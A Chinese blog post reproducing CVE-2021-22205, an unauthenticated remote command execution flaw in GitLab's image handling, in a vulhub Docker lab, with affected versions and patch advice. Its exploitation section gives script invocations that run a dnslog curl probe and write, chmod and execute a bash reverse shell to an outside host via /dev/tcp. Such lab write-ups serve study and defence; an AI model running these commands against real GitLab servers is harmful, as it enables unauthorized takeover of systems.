CVE-2021- 22205漏洞复现

一、漏洞概述

2021年4⽉15⽇,GitLab官方发布安全补丁更新修复了GitLab命令执行漏洞(CVE-2021- 22205)。由于GitLab中的ExifTool没有对传⼊的图像文件的扩展名进行正确处理,攻击者通过 上传特制的恶意图片,可以在目标服务器上执行任意命令,且发现由于GitLab存在未授权的端点,导致该漏洞在无需进行身份验证的情况下即可进行利用,社区版(CE)和企业版(EE)皆受影 响,CVSS评分为9.9。

 GitLab 是一个基于 Web 的 DevOps 生命周期工具,它提供了一个 Git 存储库管理器,可提供 wiki、问题跟踪以及持续集成和部署管道功能。

在 GitLab CE/EE 中发现了一个问题,影响了从 11.9 开始的版本。GitLab 没有正确验证传递给文件解析器的图像文件,这导致了未经身份验证的远程命令执行。

二、漏洞影响

11.9 <= Gitlab CE/EE < 13.8.8

13.9 <= Gitlab CE/EE < 13.9.6

13.10 <= Gitlab CE/EE < 13.10.3

三、漏洞复现

启动vulhub的gitlab实验的靶标

 

对靶场进行编译

docker-compose build

 

运行靶场

docker-compose up -d

 

如果下载速度很慢,这种方法很好

Centos和Kali

sudo mkdir -p /etc/docker

sudo tee /etc/docker/daemon.json <<-'EOF'

{

  "registry-mirrors": ["https://l10nt4hq.mirror.aliyuncs.com"]

}

EOF

sudo systemctl daemon-reload

sudo systemctl restart docker

 

 查看进程启动端口

docker-compose ps

 

漏洞检测

目标主机存在这个漏洞

http://192.168.157.133:8080/users/sign_in

使用脚本对该地址进行检测

python3 .\CVE-2021-22205.py -v true -t http://192.168.157.133:8080/

漏洞利用

攻击模式

python CVE-2021-22205.py -a true -t target_url -c command

py -3 .\CVE-2021-22205.py -a true -t http://X.X.X.X:8080/ -c command   //command 输入可执行命令

使用dnslog出网探测

python3 .\CVE-2021-22205.py -a trye -t http://192.168.157.133:8080/ -c "curl 73u6et.dnslog.cn"

1、这条命令是将反弹shell命令写成sh脚本 到 /tmp/ 目录下

    python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/shell.sh"

2、这条命令是代表,对写入成功的sh脚本加执行权限

    python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "chmod +x /tmp/shell.sh"

3、这条命令是代表,运行反弹shell脚本

    python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "/bin/bash /tmp/shell.sh"

查看反弹情况

docker exec -it cve-2021-22205_gitlab_1 /bin/bash

 

四、修复建议:

升级版本13.10.3、13.9.6和13.8.8进行防护

posted @ 2022-10-03 14:48  低调的思考  阅读(2529)  评论(0编辑  收藏  举报